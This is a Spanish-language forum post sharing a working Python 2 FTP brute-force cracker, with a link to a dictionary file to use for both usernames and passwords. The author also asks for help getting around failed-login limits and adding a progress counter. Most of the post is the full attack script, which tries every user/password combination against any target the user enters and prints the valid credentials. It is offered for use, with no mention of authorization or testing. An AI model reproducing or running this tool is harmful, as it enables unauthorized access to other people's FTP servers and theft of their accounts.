Buenas compañeros, estaba haciendo un bruteforce ftp con python, pero tengo un par de problemas, uno de los cuales es la velocidad y otro el límite establecido de logueos fallidos. ¿ Alguna Idea ?
EDIT: Por lo visto el problema de la velocidad solo se da en algunos servers, en servidores que no tienen límite de intentos fallidos, funciona perfectamente
.
Resuelto el problema de los límites de fallos
Aquí os dejo el link con un diccionario de 3mb en texto plano ( hay bastantes
), utilizad el mismo diccionario para los usuarios y los passwords, solo tenéis que hacer una copia y renombrarla a passwords.txt:
https://rapidshare.com/files/4215115057/usuarios.txtTened en cuenta también que en los ftp públicos toda cuenta que tenga como user "anonymous" es válida xD.
Si os interesa que le aplique interfaz gráfica decidmelo
.
Este es el código:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import ftplib
class ftp_brute_force:
def __init__(self,conectftp,target):
self.listausuarios,self.listapasswords,self.conectftp,self.target,self.contadorus,self.contadorpas = ([],[],conectftp,target,0,0)
print "\n[+] Cargando los diccionarios,esto puede tardar unos segundos... [+]"
try:
self.users = open("usuarios.txt","r")
self.passwords = open("passwords.txt","r")
except:
print "\n [-] No existen los diccionarios"
exit()
for self.user in self.users.readlines():
self.listausuarios.append(self.user)
self.contadorus += 1
for self.password in self.passwords.readlines():
self.listapasswords.append(self.password)
self.contadorpas += 1
self.users.close()
self.passwords.close()
print "\n[+] Diccionarios Cargados: " + str(self.contadorus) + " Usuarios y " + str(self.contadorpas) + " Passwords [+]"
print "\n[+] Combinaciones posibles: " + str(self.contadorus*self.contadorpas) +" [+]"
print "\n[+] Ataque iniciado,puede llevar bastante tiempo, no cierre el programa [+]\n\n"
self.bruteforce()
def bruteforce(self):
for self.user in self.listausuarios:
for self.password in self.listapasswords:
try:
self.conectftp.login(self.user,self.password)
print "Los datos son --> " + self.user + " y " + self.password
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
raw_input()
except:
print self.user + " y " + self.password + " no son correctos"
self.conectftp.quit()
self.conectftp.close()
self.conectftp = ftplib.FTP(self.target)
print " [-] No se han podido extraer datos."
if __name__ == '__main__':
print " [+] FTP CRACKER BY RUNE [+]\n\n\n"
target = raw_input("\n\nIntroduce el target [+] > ")
try:
conectftp = ftplib.FTP(target)
except:
print " \n[-] No existe el target"
exit()
instancia = ftp_brute_force(conectftp,target)
Por cierto, para amenizar la impresión por pantalla quería hacer tipo un contador que vaya subiendo por cada usuario y contraseña probado, sin que cambie de posición en pantalla, que se vaya actualizando, algo así:
0/10000 y que cuando pruebe 1 cambie a 1/10000 sin imprimirse en otra linea.
¿ Se os ocurre algo ?
Eso es todo compañeros, espero vuestra ayuda, un saludo, Runex